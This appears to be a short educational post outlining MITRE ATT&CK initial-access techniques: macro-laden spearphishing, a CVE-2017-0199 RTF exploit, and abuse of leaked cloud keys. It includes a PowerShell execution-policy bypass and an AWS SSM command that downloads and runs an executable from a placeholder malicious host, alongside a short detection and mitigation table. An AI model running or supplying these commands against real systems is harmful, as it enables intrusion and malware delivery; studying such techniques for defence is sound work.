Ghanshyam Singh(255)

✅ PoC Title: Initial Access via Cloud and Human Vectors

🎯 Tactic: Initial Access (TA0001)

Goal: Gain an entry point into the victim’s system or network.

🔧 Technique 1: T1566.001 – Phishing: Spearphishing Attachment

Procedure:

1. Collect target email addresses using LinkedIn and data breach archives.
2. Craft a fake business-related email (like an invoice or job offer).
3. Attach a malicious Microsoft Word file with embedded macros.
4. User receives the email and opens the document.
5. Macro triggers PowerShell:
6. powershell.exe -NoProfile -ExecutionPolicy Bypass -File payload.ps1
7. The payload.ps1 downloads and executes malware.

🔧 Technique 2: T1203 – Exploitation for Client Execution

Procedure:

1. Create an exploit for a known vulnerability (e.g., CVE-2017-0199).
2. Embed the exploit in a crafted Word RTF document.
3. When the user opens the document, arbitrary code executes.
4. This installs a reverse shell or beacon on the target machine.

🔧 Technique 3: T1078 – Valid Accounts (Cloud Accounts)

Procedure:

1. Purchase or discover leaked cloud credentials (e.g., AWS/Azure admin keys).
2. Access the victim’s cloud portal (e.g., AWS console).
3. Launch a malicious virtual machine or use **SSM (AWS Systems Manager)**:
4. aws ssm send-command --instance-ids i-abc123 --document-name AWS-RunPowerShellScript \
5. --parameters 'commands=["Invoke-WebRequest http://malicious.server/payload.exe -OutFile C:\\temp\\malware.exe","Start-Process C:\\temp\\malware.exe"]'

6. Malware is executed silently within the cloud environment.

🔐 Detection & Mitigation Tips

Technique	Detection	Mitigation
T1566.001	Email gateway filters, macro usage logging	Disable Office macros by default, user training
T1203	Application crash reports, EDR alerts	Patch management, use updated MS Office
T1078	Cloud activity monitoring, login anomalies	Enforce MFA, rotate credentials, least privilege policy

---

✅ Why This PoC is Effective

- It blends **social engineering** (phishing), **vulnerability exploitation**, and **cloud infrastructure abuse**—covering a wide attack surface.
- Demonstrates realistic attack vectors used in real-world breaches.
- Shows both **human error exploitation** and **cloud misconfigurations**, which are common in modern attacks.
